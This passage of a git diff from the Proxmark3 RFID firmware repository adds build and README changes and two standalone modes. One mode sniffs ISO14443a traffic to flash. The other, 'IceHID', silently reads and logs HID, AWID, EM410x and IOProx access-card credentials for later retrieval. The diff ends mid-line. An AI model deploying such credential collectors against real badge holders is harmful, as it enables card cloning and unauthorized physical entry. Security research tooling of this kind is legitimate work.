status](https://ci.appveyor.com/api/projects/status/b4gwrhq3nc876cuu/branch/master?svg=true)](https://ci.appveyor.com/project/RfidResearchGroup/proxmark3/branch/master) | [![Coverity Status](https://scan.coverity.com/projects/19334/badge.svg)](https://scan.coverity.com/projects/proxmark3-rrg-iceman-repo)| ---- + + # PROXMARK INSTALLATION AND OVERVIEW @@ -24,15 +21,17 @@ It supports RDV4.0 and other Proxmark3 platforms as well. |[Notes on external flash](/doc/ext_flash_notes.md)||[EMV](/doc/emv_notes.md)| |[Notes on Termux / Android](/doc/termux_notes.md)||[Troubleshooting](/doc/md/Installation_Instructions/Troubleshooting.md)| |[Notes on wireshark / tracedata](/doc/trace_wireshark_notes.md)||[JTAG](/doc/jtag_notes.md)| -|[Notes on loclass](/doc/loclass_notes.md)||| +|[Notes on loclass](/doc/loclass_notes.md)||[Complete client command set](/doc/commands.md)| |[Notes on paths](/doc/path_notes.md)||| |[Developing standalone mode](/armsrc/Standalone/readme.md)|[Wiki about standalone mode](https://github.com/RfidResearchGroup/proxmark3/wiki/Standalone-mode) || |[Donations](#Donations)||| -## Support on other Proxmark3 platforms + +## Build for non-RDV4 Proxmark3 platforms In order to build this repo for other Proxmark3 platforms we urge you to read [Advanced compilation parameters](/doc/md/Use_of_Proxmark/4_Advanced-compilation-parameters.md) + ## What has changed? On the hardware side: @@ -62,17 +61,17 @@ The [public roadmap](https://github.com/RfidResearchGroup/proxmark3/wiki/Public- We usually merge your contributions fast since we do like the idea of getting a functionality in the Proxmark3 and weed out the bugs afterwards. ## Notes / helpful documents -- Internal notes on [Coverity Scan Config & Run](/doc/md/Development/Coverity-Scan-Config-%26-Run.md). -- Internal notes on [UART](/doc/uart_notes.md) -- Internal notes on [Frame format](/doc/new_frame_format.md) -- Internal notes on [external flash](/doc/ext_flash_notes.md) -- Internal notes on [standalone mode](https://github.com/RfidResearchGroup/proxmark3/wiki/Standalone-mode) -- Internal notes on [Termux / Android](/doc/termux_notes.md) -- Internal notes on [Wireshark / tracedata](/doc/trace_wireshark_notes.md) -- Internal notes on [loclass](/doc/loclass_notes.md) -- Internal notes on [EMV](/doc/emv_notes.md) -- Internal notes on [Paths](/doc/path_notes.md) - +- notes on [Coverity Scan Config & Run](/doc/md/Development/Coverity-Scan-Config-%26-Run.md). +- notes on [UART](/doc/uart_notes.md) +- notes on [Frame format](/doc/new_frame_format.md) +- notes on [external flash](/doc/ext_flash_notes.md) +- notes on [standalone mode](https://github.com/RfidResearchGroup/proxmark3/wiki/Standalone-mode) +- notes on [Termux / Android](/doc/termux_notes.md) +- notes on [Wireshark / tracedata](/doc/trace_wireshark_notes.md) +- notes on [loclass](/doc/loclass_notes.md) +- notes on [EMV](/doc/emv_notes.md) +- notes on [Paths](/doc/path_notes.md) +- notes on [file formats used with Proxmark3](/doc/extensions_notes.md) ## Cheat sheet Thanks to Alex Dibs, you can enjoy a [command cheat sheet](/doc/cheatsheet.md) @@ -110,4 +109,3 @@ Nothing says thank you as much as a donation. So if you feel the love, do feel f https://www.patreon.com/iceman1001 -All support is welcome! diff --git a/appveyor.yml b/appveyor.yml index a817ff1ac..b2ab84fb4 100644 --- a/appveyor.yml +++ b/appveyor.yml @@ -43,6 +43,12 @@ clone_script: Write-Host "[ OK ]" -ForegroundColor Green + if(!(Test-Path -Path C:\ProxSpace\pm3)){ + + New-Item -ItemType Directory -Force -Path C:\ProxSpace\pm3 + + } + Write-Host "Removing pm3 dir..." -NoNewLine Remove-Item -Recurse -Force -Path c:\ProxSpace\pm3\* @@ -137,11 +143,15 @@ clone_script: Remove-Job -Force $Job } + + cd C:\ProxSpace\ + + C:\ProxSpace\msys2\ps\setup.cmd ExecUpdate "update1" "C:\ProxSpace\msys2\msys2_shell.cmd -mingw32 -defterm -no-start /dev/null" "terminate?MSYS2" ExecUpdate "update2" "C:\ProxSpace\msys2\msys2_shell.cmd -mingw32 -defterm -no-start /dev/null" "terminate?MSYS2" - + Write-Host "Update " -NoNewLine Write-Host "[ OK ]" -ForegroundColor Green @@ -173,6 +183,7 @@ build_script: $env:MSYSTEM_CHOST="i686-w64-mingw32" + cd C:\ProxSpace\pm3 #make diff --git a/armsrc/BigBuf.c b/armsrc/BigBuf.c index a0a25d1fe..765d230a5 100644 --- a/armsrc/BigBuf.c +++ b/armsrc/BigBuf.c @@ -115,9 +115,11 @@ uint16_t BigBuf_max_traceLen(void) { void clear_trace(void) { traceLen = 0; } + void set_tracelen(uint32_t value) { traceLen = value; } + void set_tracing(bool enable) { tracing = enable; } diff --git a/armsrc/Makefile b/armsrc/Makefile index beb19c243..12819c3d0 100644 --- a/armsrc/Makefile +++ b/armsrc/Makefile @@ -23,7 +23,7 @@ APP_CFLAGS = $(PLATFORM_DEFS) \ -DON_DEVICE \ -fno-strict-aliasing -ffunction-sections -fdata-sections -SRC_LF = lfops.c lfsampling.c pcf7931.c lfdemod.c +SRC_LF = lfops.c lfsampling.c pcf7931.c lfdemod.c lfadc.c SRC_ISO15693 = iso15693.c iso15693tools.c SRC_ISO14443a = iso14443a.c mifareutil.c mifarecmd.c epa.c mifaresim.c #UNUSED: mifaresniff.c desfire_crypto.c diff --git a/armsrc/Standalone/Makefile.hal b/armsrc/Standalone/Makefile.hal index f082dd117..2dec4cfde 100644 --- a/armsrc/Standalone/Makefile.hal +++ b/armsrc/Standalone/Makefile.hal @@ -35,13 +35,18 @@ define KNOWN_STANDALONE_DEFINITIONS | HF_BOG | 14a sniff with ULC/ULEV1/NTAG auth | | (RDV4 only) | storing in flashmem - Bogito | +----------------------------------------------------------+ - +| HF_14ASNIFF | 14a sniff to flashmem | +| (RDV4 only) | | ++----------------------------------------------------------+ +| LF_ICEHID | LF HID collector to flashmem | +| (RDV4 only) | | ++----------------------------------------------------------+ endef -STANDALONE_MODES := LF_SAMYRUN LF_ICERUN LF_PROXBRUTE LF_HIDBRUTE -STANDALONE_MODES += HF_YOUNG HF_MATTYRUN HF_COLIN HF_BOG +STANDALONE_MODES := LF_SAMYRUN LF_ICERUN LF_PROXBRUTE LF_HIDBRUTE LF_ICEHID +STANDALONE_MODES += HF_YOUNG HF_MATTYRUN HF_COLIN HF_BOG HF_14ASNIFF STANDALONE_MODES_REQ_SMARTCARD := -STANDALONE_MODES_REQ_FLASH := HF_COLIN HF_BOG +STANDALONE_MODES_REQ_FLASH := HF_COLIN HF_BOG HF_14ASNIFF LF_ICEHID ifneq ($(filter $(STANDALONE),$(STANDALONE_MODES)),) STANDALONE_PLATFORM_DEFS += -DWITH_STANDALONE_$(STANDALONE) ifneq ($(filter $(STANDALONE),$(STANDALONE_MODES_REQ_SMARTCARD)),) diff --git a/armsrc/Standalone/Makefile.inc b/armsrc/Standalone/Makefile.inc index 66dfc6da2..d4de0411e 100644 --- a/armsrc/Standalone/Makefile.inc +++ b/armsrc/Standalone/Makefile.inc @@ -33,4 +33,11 @@ endif ifneq (,$(findstring WITH_STANDALONE_HF_BOG,$(APP_CFLAGS))) SRC_STANDALONE = hf_bog.c endif - +# WITH_STANDALONE_HF_14ASNIFF +ifneq (,$(findstring WITH_STANDALONE_HF_14ASNIFF,$(APP_CFLAGS))) + SRC_STANDALONE = hf_14asniff.c +endif +# WITH_STANDALONE_LF_ICEHID +ifneq (,$(findstring WITH_STANDALONE_LF_ICEHID,$(APP_CFLAGS))) + SRC_STANDALONE = lf_icehid.c +endif \ No newline at end of file diff --git a/armsrc/Standalone/hf_14asniff.c b/armsrc/Standalone/hf_14asniff.c new file mode 100644 index 000000000..d8bf6ab82 --- /dev/null +++ b/armsrc/Standalone/hf_14asniff.c @@ -0,0 +1,124 @@ +//----------------------------------------------------------------------------- +// Copyright 2020 Michael Farrell +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// main code for standalone HF/iso14a Sniff to flash +//----------------------------------------------------------------------------- + +/* + * `hf_14asniff` passively sniffs ISO14a frames, and stores them in internal + * flash. It requires RDV4 hardware (for flash and battery). + * + * This module is similar to hf_bog (which only logs ULC/NTAG/ULEV1 auth). + * + * On entering stand-alone mode, this module will start sniffing ISO14a frames. + * This will be stored in the normal trace buffer (ie: in RAM -- will be lost + * at power-off). + * + * Short-pressing the button again will stop sniffing, and at _this_ point + * append trace data from RAM to a file in flash (hf_14asniff.trc) and unmount. + * + * Once the data is saved, standalone mode will exit. + * + * LEDs: + * - LED1: sniffing + * - LED2: sniffed tag command, turns off when finished sniffing reader command + * - LED3: sniffed reader command, turns off when finished sniffing tag command + * - LED4: unmounting/sync'ing flash (normally < 100ms) + * + * To retrieve trace data from flash: + * + * 1. mem spiffs dump o hf_14asniff.trc f trace.trc + * Copies trace data file from flash to your PC. + * + * 2. trace load trace.trc + * Loads trace data from a file into PC-side buffers. + * + * 3. For ISO14a: trace list 14a 1 + * For MIFARE Classic: trace list mf 1 + * + * Lists trace data from buffer without requesting it from PM3. + * + * This module emits debug strings during normal operation -- so try it out in + * the lab connected to PM3 client before taking it into the field. + * + * To delete the trace data from flash: + * + * Caveats / notes: + * - Trace buffer will be cleared on starting stand-alone mode. Data in flash + * will remain unless explicitly deleted. + * - This module will terminate if the trace buffer is full (and save data to + * flash). + * - Like normal sniffing mode, timestamps overflow after 5 min 16 sec. + * However, the trace buffer is sequential, so will be in the correct order. + */ + +#include "standalone.h" // standalone definitions +#include "proxmark3_arm.h" +#include "iso14443a.h" +#include "util.h" +#include "spiffs.h" +#include "appmain.h" +#include "dbprint.h" +#include "ticks.h" +#include "BigBuf.h" + +#define HF_14ASNIFF_LOGFILE "hf_14asniff.trc" + +void DownloadTraceInstructions() { + Dbprintf(""); + Dbprintf("To get the trace from flash and display it:"); + Dbprintf("1. mem spiffs dump o "HF_14ASNIFF_LOGFILE" f trace.trc"); + Dbprintf("2. trace load trace.trc"); + Dbprintf("3. trace list 14a 1"); +} + +void ModInfo(void) { + DbpString("hf_14asniff: standalone 'hf 14a sniff', storing in flashmem"); + DownloadTraceInstructions(); +} + +void RunMod() { + StandAloneMode(); + + Dbprintf("Starting standalone mode: hf_14asniff"); + rdv40_spiffs_lazy_mount(); + + SniffIso14443a(0); + + Dbprintf("Stopped sniffing"); + SpinDelay(200); + + // Write stuff to spiffs logfile + uint32_t trace_len = BigBuf_get_traceLen(); + if (trace_len > 0) { + Dbprintf("[!] Trace length (bytes) = %u", trace_len); + + uint8_t* trace_buffer = BigBuf_get_addr(); + if (!exists_in_spiffs(HF_14ASNIFF_LOGFILE)) { + rdv40_spiffs_write( + HF_14ASNIFF_LOGFILE, trace_buffer, trace_len, RDV40_SPIFFS_SAFETY_SAFE); + Dbprintf("[!] Wrote trace to "HF_14ASNIFF_LOGFILE); + } else { + rdv40_spiffs_append( + HF_14ASNIFF_LOGFILE, trace_buffer, trace_len, RDV40_SPIFFS_SAFETY_SAFE); + Dbprintf("[!] Appended trace to "HF_14ASNIFF_LOGFILE); + } + } else { + Dbprintf("[!] Trace buffer is empty, nothing to write!"); + } + + LED_D_ON(); + rdv40_spiffs_lazy_unmount(); + LED_D_OFF(); + + SpinErr(LED_A, 200, 5); + SpinDelay(100); + + LEDsoff(); + SpinDelay(300); + DownloadTraceInstructions(); +} diff --git a/armsrc/Standalone/hf_colin.c b/armsrc/Standalone/hf_colin.c index 8efcb1003..ffe2a613f 100644 --- a/armsrc/Standalone/hf_colin.c +++ b/armsrc/Standalone/hf_colin.c @@ -1059,7 +1059,7 @@ int saMifareCSetBlock(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *data }; } - if ((mifare_sendcmd_short(NULL, 0, 0xA0, blockNo, receivedAnswer, receivedAnswerPar, NULL) != 1) || + if ((mifare_sendcmd_short(NULL, CRYPT_NONE, 0xA0, blockNo, receivedAnswer, receivedAnswerPar, NULL) != 1) || (receivedAnswer[0] != 0x0a)) { DbprintfEx(FLAG_NEWLINE, "write block send command error"); break; diff --git a/armsrc/Standalone/hf_mattyrun.c b/armsrc/Standalone/hf_mattyrun.c index 9fff4a226..3e53fffe9 100644 --- a/armsrc/Standalone/hf_mattyrun.c +++ b/armsrc/Standalone/hf_mattyrun.c @@ -136,7 +136,7 @@ static int saMifareCSetBlock(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_ }; } - if ((mifare_sendcmd_short(NULL, 0, 0xA0, blockNo, receivedAnswer, receivedAnswerPar, NULL) != 1) || (receivedAnswer[0] != 0x0a)) { + if ((mifare_sendcmd_short(NULL, CRYPT_NONE, 0xA0, blockNo, receivedAnswer, receivedAnswerPar, NULL) != 1) || (receivedAnswer[0] != 0x0a)) { DbprintfEx(FLAG_NEWLINE, "write block send command error"); break; }; diff --git a/armsrc/Standalone/lf_icehid.c b/armsrc/Standalone/lf_icehid.c new file mode 100644 index 000000000..77f04024e --- /dev/null +++ b/armsrc/Standalone/lf_icehid.c @@ -0,0 +1,389 @@ +//----------------------------------------------------------------------------- +// Christian Herrmann, 2020 +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// main code for HID collector aka IceHID by Iceman +//----------------------------------------------------------------------------- +#include "standalone.h" // standalone definitions +#include "proxmark3_arm.h" +#include "appmain.h" +#include "lfops.h" +#include "lfsampling.h" +#include "BigBuf.h" +#include "fpgaloader.h" +#include "util.h" +#include "dbprint.h" +#include "printf.h" +#include "spiffs.h" +#include "ticks.h" +#include "lfdemod.h" +/* + * `lf_hidcollect` sniffs after LF HID credentials, and stores them in internal + * flash. It requires RDV4 hardware (for flash and battery). + * + * On entering stand-alone mode, this module will start reading/record HID credentials. + * Every found / collected credential will be written/appended to the logfile in flash + * as a text string. + * + * LEDs: + * - LED A: reading / record + * - LED B: writing to flash + * - LED C: unmounting/sync'ing flash (normally < 100ms) + * + * To retrieve log file from flash: + * + * 1. mem spiffs dump o lf_hidcollect.log f lf_hidcollect.log + * Copies log file from flash to your PC. + * + * 2. exit the Proxmark3 client + * + * 3. more lf_hidcollect.log + * + * This module emits debug strings during normal operation -- so try it out in + * the lab connected to PM3 client before taking it into the field. + * + * To delete the log file from flash: + * + * 1. mem spiffs remove lf_hidcollect.log + */ + +#define LF_HIDCOLLECT_LOGFILE "lf_hidcollect.log" + + +void DownloadLogInstructions() { + Dbprintf(""); + Dbprintf("[=] To get the logfile from flash and display it:"); + Dbprintf("[=] " _YELLOW_("1.") "mem spiffs dump o "LF_HIDCOLLECT_LOGFILE" f "LF_HIDCOLLECT_LOGFILE); + Dbprintf("[=] " _YELLOW_("2.") "exit proxmark3 client"); + Dbprintf("[=] " _YELLOW_("3.") "cat "LF_HIDCOLLECT_LOGFILE); +} + +bool log_exists; + +void append(uint8_t* entry, size_t entry_len) { + + LED_B_ON(); + if (log_exists == false) { + rdv40_spiffs_write(LF_HIDCOLLECT_LOGFILE, entry, entry_len, RDV40_SPIFFS_SAFETY_SAFE); + log_exists = true; + } else { + rdv40_spiffs_append(LF_HIDCOLLECT_LOGFILE, entry, entry_len, RDV40_SPIFFS_SAFETY_SAFE); + } + LED_B_OFF(); +} + +uint32_t IceEM410xdemod() { + + uint8_t *dest = BigBuf_get_addr(); + size_t idx = 0; + int clk = 0, invert = 0, maxErr = 20; + uint32_t hi = 0; + uint64_t lo = 0; + + size_t size = MIN(16385, BigBuf_max_traceLen()); + + //askdemod and manchester decode + int errCnt = askdemod(dest, &size, &clk, &invert, maxErr, 0, 1); + + WDT_HIT(); + + if (errCnt > 50) { + BigBuf_free(); + return PM3_ESOFT; + } + + errCnt = Em410xDecode(dest, &size, &idx, &hi, &lo); + if (errCnt != 1) { + BigBuf_free(); + return PM3_ESOFT; + } + + uint8_t entry[81]; + memset(entry, 0, sizeof(entry)); + + if (size == 128) { + sprintf((char *)entry, "EM XL TAG ID: %06lx%08lx%08lx - (%05ld_%03ld_%08ld)\n", + hi, + (uint32_t)(lo >> 32), + (uint32_t)lo, + (uint32_t)(lo & 0xFFFF), + (uint32_t)((lo >> 16LL) & 0xFF), + (uint32_t)(lo & 0xFFFFFF)); + } else { + sprintf((char *)entry, "EM TAG ID: %02lx%08lx - (%05ld_%03ld_%08ld)\n", + (uint32_t)(lo >> 32), + (uint32_t)lo, + (uint32_t)(lo & 0xFFFF), + (uint32_t)((lo >> 16LL) & 0xFF), + (uint32_t)(lo & 0xFFFFFF)); + } + + append(entry, strlen((char*)entry)); + Dbprintf("%s", entry); + BigBuf_free(); + return PM3_SUCCESS; +} + +uint32_t IceAWIDdemod() { + + uint8_t *dest = BigBuf_get_addr(); + size_t size = MIN(12800, BigBuf_max_traceLen()); + int dummyIdx = 0; + + //askdemod and manchester decode + int idx = detectAWID(dest, &size, &dummyIdx); + + if (idx <= 0 || size != 96) { + BigBuf_free(); + return PM3_ESOFT; + } + + //get raw ID before removing parities + uint32_t rawLo = bytebits_to_byte(dest + idx + 64, 32); + uint32_t rawHi = bytebits_to_byte(dest + idx + 32, 32); + uint32_t rawHi2 = bytebits_to_byte(dest + idx, 32); + + size = removeParity(dest, idx + 8, 4, 1, 88); + if (size != 66) { + BigBuf_free(); + return PM3_ESOFT; + } + + uint8_t entry[110]; + memset(entry, 0, sizeof(entry)); + + uint8_t fmtLen = bytebits_to_byte(dest, 8); + if (fmtLen == 26) { + uint8_t fac = bytebits_to_byte(dest + 9, 8); + uint32_t cardnum = bytebits_to_byte(dest + 17, 16); + uint32_t code1 = bytebits_to_byte(dest + 8, fmtLen); + sprintf((char *)entry, "AWID bit len: %d, FC: %d, Card: %ld - Wiegand: %lx, Raw: %08lx%08lx%08lx\n", fmtLen, fac, cardnum, code1, rawHi2, rawHi, rawLo); + } else { + uint32_t cardnum = bytebits_to_byte(dest + 8 + (fmtLen - 17), 16); + if (fmtLen > 32) { + uint32_t code1 = bytebits_to_byte(dest + 8, fmtLen - 32); + uint32_t code2 = bytebits_to_byte(dest + 8 + (fmtLen - 32), 32); + sprintf((char *)entry, "AWID bit len: %d -unk bit len - Card: %ld - Wiegand: %lx%08lx, Raw: %08lx%08lx%08lx\n", fmtLen, cardnum, code1, code2, rawHi2, rawHi, rawLo); + } else { + uint32_t code1 = bytebits_to_byte(dest + 8, fmtLen); + sprintf((char *)entry, "AWID bit len: %d -unk bit len - Card: %ld - Wiegand: %lx, Raw: %08lx%08lx%08lx\n", fmtLen, cardnum, code1, rawHi2, rawHi, rawLo); + } + } + + append(entry, strlen((char*)entry)); + Dbprintf("%s", entry); + BigBuf_free(); + return PM3_SUCCESS; +} + +uint32_t IceIOdemod() { + + int dummyIdx = 0; + uint8_t version = 0, facilitycode = 0; + uint16_t number = 0; + uint32_t hi = 0, lo = 0; + + size_t size = MIN(12000, BigBuf_max_traceLen()); + +// uint8_t *dest = BigBuf_malloc(size); + uint8_t *dest = BigBuf_get_addr(); + + //fskdemod and get start index + int idx = detectIOProx(dest, &size, &dummyIdx); + + if (idx < 0) { + BigBuf_free(); + return PM3_ESOFT; + } + + hi = bytebits_to_byte(dest + idx, 32); + lo = bytebits_to_byte(dest + idx + 32, 32); + + version = bytebits_to_byte(dest + idx + 27, 8); //14,4 + facilitycode = bytebits_to_byte(dest + idx + 18, 8); + number = (bytebits_to_byte(dest + idx + 36, 8) << 8) | (bytebits_to_byte(dest + idx + 45, 8)); //36,9 + + uint8_t entry[64]; + memset(entry, 0, sizeof(entry)); + + sprintf((char *)entry, "IO Prox XSF(%02d)%02x:%05d (%08lx%08lx)\n" + , version + , facilitycode + , number + , hi + , lo + ); + + append(entry, strlen((char*)entry)); + Dbprintf("%s", entry); + BigBuf_free(); + return PM3_SUCCESS; +} + +uint32_t IceHIDDemod() { + + int dummyIdx = 0; + + uint32_t hi2 = 0, hi = 0, lo = 0; + + // large enough to catch 2 sequences of largest format + size_t size = 50 * 128 * 2; // 12800 bytes + //uint8_t *dest = BigBuf_malloc(size); + uint8_t *dest = BigBuf_get_addr(); + + // FSK demodulator + int idx = HIDdemodFSK(dest, &size, &hi2, &hi, &lo, &dummyIdx); + if (idx < 0) { + BigBuf_free(); + return PM3_ESOFT; + } + + if ((size == 96 || size == 192)) { + + uint8_t entry[80]; + memset(entry, 0, sizeof(entry)); + + // go over previously decoded manchester data and decode into usable tag ID + if (hi2 != 0) { //extra large HID tags 88/192 bits + + sprintf((char *)entry, "HID large: %lx%08lx%08lx (%ld)\n", + hi2, + hi, + lo, + (lo >> 1) & 0xFFFF + ); + + append(entry, strlen((char*)entry)); + + } else { //standard HID tags 44/96 bits + uint8_t bitlen = 0; + uint32_t fac = 0; + uint32_t cardnum = 0; + + if (((hi >> 5) & 1) == 1) { //if bit 38 is set then < 37 bit format is used + uint32_t lo2 = 0; + lo2 = (((hi & 31) << 12) | (lo >> 20)); //get bits 21-37 to check for format len bit + uint8_t idx3 = 1; + while (lo2 > 1) { //find last bit set to 1 (format len bit) + lo2 >>= 1; + idx3++; + } + bitlen = idx3 + 19; + fac = 0; + cardnum = 0; + if (bitlen == 26) { + cardnum = (lo >> 1) & 0xFFFF; + fac = (lo >> 17) & 0xFF; + } + if (bitlen == 37) { + cardnum = (lo >> 1) & 0x7FFFF; + fac = ((hi & 0xF) << 12) | (lo >> 20); + } + if (bitlen == 34) { + cardnum = (lo >> 1) & 0xFFFF; + fac = ((hi & 1) << 15) | (lo >> 17); + } + if (bitlen == 35) { + cardnum = (lo >> 1) & 0xFFFFF; + fac = ((hi & 1) << 11) | (lo >> 21); + } + } else { //if bit 38 is not set then 37 bit format is used + bitlen = 37; + cardnum = (lo >> 1) & 0x7FFFF; + fac = ((hi & 0xF) << 12) | (lo >> 20); + } + + sprintf((char *)entry, "HID: %lx%08lx (%ld) Format: %d bit FC: %ld Card: %ld\n", + hi, + lo, + (lo >> 1) & 0xFFFF, + bitlen, + fac, + cardnum + ); + + append(entry, strlen((char*)entry)); + } + + Dbprintf("%s", entry); + } + + BigBuf_free(); + return PM3_SUCCESS; +} + +void ModInfo(void) { + DbpString(_YELLOW_(" LF HID / IOprox / AWID / EM4100 collector mode") " - a.k.a IceHID (Iceman)"); +} + +void RunMod() { + + FpgaDownloadAndGo(FPGA_BITSTREAM_LF); + LFSetupFPGAForADC(LF_DIVISOR_125, true); + BigBuf_Clear(); + + StandAloneMode(); + + Dbprintf(_YELLOW_("[=] Standalone mode IceHID started")); + + rdv40_spiffs_lazy_mount(); + + log_exists = exists_in_spiffs(LF_HIDCOLLECT_LOGFILE); + + // the main loop for your standalone mode + for (;;) { + WDT_HIT(); + + // exit from IceHID, send a usbcommand. + if (data_available()) break; + + // Was our button held down or pressed? + int button_pressed = BUTTON_HELD(280); + if (button_pressed == BUTTON_HOLD) + break; + + LED_A_ON(); + + uint32_t res; + + // since we steal 12800 from bigbuffer, no need to sample it. + DoAcquisition_config(false, 28000); + res = IceHIDDemod(); + if (res == PM3_SUCCESS) { + LED_A_OFF(); + continue; + } + + DoAcquisition_config(false, 28000); + res = IceAWIDdemod(); + if (res == PM3_SUCCESS) { + LED_A_OFF(); + continue; + } + + DoAcquisition_config(false, 20000); + res = IceEM410xdemod(); + if (res == PM3_SUCCESS) { + LED_A_OFF(); + continue; + } + + DoAcquisition_config(false, 28000); + res = IceIOdemod(); + if (res == PM3_SUCCESS) { + LED_A_OFF(); + continue; + } + } + + LED_C_ON(); + rdv40_spiffs_lazy_unmount(); + LED_C_OFF(); + + LEDsoff(); + DownloadLogInstructions(); + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); +} diff --git a/armsrc/appmain.c b/armsrc/appmain.c index ef96d9fef..15d939a35 100644 --- a/armsrc/appmain.c +++ b/armsrc/appmain.c @@ -17,6 +17,7 @@ #include "dbprint.h" #include "pmflash.h" #include "fpga.h" +#include "fpga.h" #include "fpgaloader.h" #include "string.h" #include "legicrf.h" @@ -175,7 +176,7 @@ void MeasureAntennaTuning(void) { */ FpgaDownloadAndGo(FPGA_BITSTREAM_LF); - FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC | FPGA_LF_ADC_READER_FIELD); + FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_READER | FPGA_LF_ADC_READER_FIELD); SpinDelay(50); for (uint8_t i = 255; i >= 19; i--) { @@ -207,12 +208,11 @@ void MeasureAntennaTuning(void) { FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_READER_RX_XCORR); SpinDelay(50); +#if defined RDV4 + payload.v_hf = (MAX_ADC_HF_VOLTAGE_RDV40 * AvgAdc(ADC_CHAN_HF_RDV40)) >> 10; +#else payload.v_hf = (MAX_ADC_HF_VOLTAGE * AvgAdc(ADC_CHAN_HF)) >> 10; - - // RDV40 will hit the roof, try other ADC channel used in that hardware revision. - if (payload.v_hf > MAX_ADC_HF_VOLTAGE - 300) { - payload.v_hf = (MAX_ADC_HF_VOLTAGE_RDV40 * AvgAdc(ADC_CHAN_HF_RDV40)) >> 10; - } +#endif FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); reply_ng(CMD_MEASURE_ANTENNA_TUNING, PM3_SUCCESS, (uint8_t *)&payload, sizeof(payload)); @@ -221,16 +221,13 @@ void MeasureAntennaTuning(void) { // Measure HF in milliVolt uint16_t MeasureAntennaTuningHfData(void) { - uint16_t volt = 0; - uint16_t avg = AvgAdc(ADC_CHAN_HF); - volt = (MAX_ADC_HF_VOLTAGE * avg) >> 10; - bool use_high = (volt > MAX_ADC_HF_VOLTAGE - 300); - if (use_high) { - volt = (MAX_ADC_HF_VOLTAGE_RDV40 * AvgAdc(ADC_CHAN_HF_RDV40)) >> 10; -// volt = (MAX_ADC_HF_VOLTAGE * AvgAdc(ADC_CHAN_HF)) >> 10; - } - return volt; +#if defined RDV4 + return (MAX_ADC_HF_VOLTAGE_RDV40 * AvgAdc(ADC_CHAN_HF_RDV40)) >> 10; +#else + return (MAX_ADC_HF_VOLTAGE * AvgAdc(ADC_CHAN_HF)) >> 10; +#endif + } // Measure LF in milliVolt @@ -440,6 +437,11 @@ void SendCapabilities(void) { #else capabilities.compiled_with_hfsniff = false; #endif +#ifdef WITH_HFPLOT + capabilities.compiled_with_hfplot = true; +#else + capabilities.compiled_with_hfplot = false; +#endif #ifdef WITH_ISO14443a capabilities.compiled_with_iso14443a = true; #else @@ -526,7 +528,6 @@ void ListenReaderField(uint8_t limit) { uint16_t lf_av = 0, lf_av_new, lf_baseline = 0, lf_max = 0; uint16_t hf_av = 0, hf_av_new, hf_baseline = 0, hf_max = 0; uint16_t mode = 1, display_val, display_max; - bool use_high = false; // switch off FPGA - we don't want to measure our own signal // 20180315 - iceman, why load this before and then turn off? @@ -543,15 +544,12 @@ void ListenReaderField(uint8_t limit) { if (limit == HF_ONLY) { - hf_av = hf_max = AvgAdc(ADC_CHAN_HF); - +#if defined RDV4 // iceman, useless, since we are measuring readerfield, not our field. My tests shows a max of 20v from a reader. - // RDV40 will hit the roof, try other ADC channel used in that hardware revision. - use_high = (((MAX_ADC_HF_VOLTAGE * hf_max) >> 10) > MAX_ADC_HF_VOLTAGE - 300); - if (use_high) { - hf_av = hf_max = AvgAdc(ADC_CHAN_HF_RDV40); - } - + hf_av = hf_max = AvgAdc(ADC_CHAN_HF_RDV40); +#else + hf_av = hf_max = AvgAdc(ADC_CHAN_HF); +#endif Dbprintf("HF 13.56MHz Baseline: %dmV", (MAX_ADC_HF_VOLTAGE * hf_av) >> 10); hf_baseline = hf_av; } @@ -602,8 +600,11 @@ void ListenReaderField(uint8_t limit) { LED_B_OFF(); } - hf_av_new = (use_high) ? AvgAdc(ADC_CHAN_HF_RDV40) : AvgAdc(ADC_CHAN_HF); - +#if defined RDV4 + hf_av_new = AvgAdc(ADC_CHAN_HF_RDV40); +#else + hf_av_new = AvgAdc(ADC_CHAN_HF); +#endif // see if there's a significant change if (ABS(hf_av - hf_av_new) > REPORT_CHANGE) { Dbprintf("HF 13.56MHz Field Change: %5dmV", (MAX_ADC_HF_VOLTAGE * hf_av_new) >> 10); @@ -696,6 +697,8 @@ static void PacketReceived(PacketCommandNG *packet) { */ switch (packet->cmd) { + case CMD_BREAK_LOOP: + break; case CMD_QUIT_SESSION: { reply_via_fpc = false; reply_via_usb = false; @@ -728,11 +731,11 @@ static void PacketReceived(PacketCommandNG *packet) { } case CMD_LF_ACQ_RAW_ADC: { struct p { - uint8_t silent; + uint8_t verbose; uint32_t samples; } PACKED; struct p *payload = (struct p *)packet->data.asBytes; - uint32_t bits = SampleLF(payload->silent, payload->samples); + uint32_t bits = SampleLF(payload->verbose, payload->samples); reply_ng(CMD_LF_ACQ_RAW_ADC, PM3_SUCCESS, (uint8_t *)&bits, sizeof(bits)); break; } @@ -773,7 +776,12 @@ static void PacketReceived(PacketCommandNG *packet) { } case CMD_LF_PSK_SIMULATE: { lf_psksim_t *payload = (lf_psksim_t *)packet->data.asBytes; - CmdPSKsimTag(payload->carrier, payload->invert, payload->clock, packet->length - sizeof(lf_psksim_t), payload->data, true); + CmdPSKsimTAG(payload->carrier, payload->invert, payload->clock, packet->length - sizeof(lf_psksim_t), payload->data, true); + break; + } + case CMD_LF_NRZ_SIMULATE: { + lf_nrzsim_t *payload = (lf_nrzsim_t *)packet->data.asBytes; + CmdNRZsimTAG(payload->invert, payload->separator, payload->clock, packet->length - sizeof(lf_nrzsim_t), payload->data, true); break; } case CMD_LF_HID_CLONE: { @@ -917,11 +925,12 @@ static void PacketReceived(PacketCommandNG *packet) { #ifdef WITH_HITAG case CMD_LF_HITAG_SNIFF: { // Eavesdrop Hitag tag, args = type - SniffHitag(); + SniffHitag2(); +// SniffHitag2(packet->oldarg[0]); break; } case CMD_LF_HITAG_SIMULATE: { // Simulate Hitag tag, args = memory content - SimulateHitagTag((bool)packet->oldarg[0], packet->data.asBytes); + SimulateHitag2((bool)packet->oldarg[0], 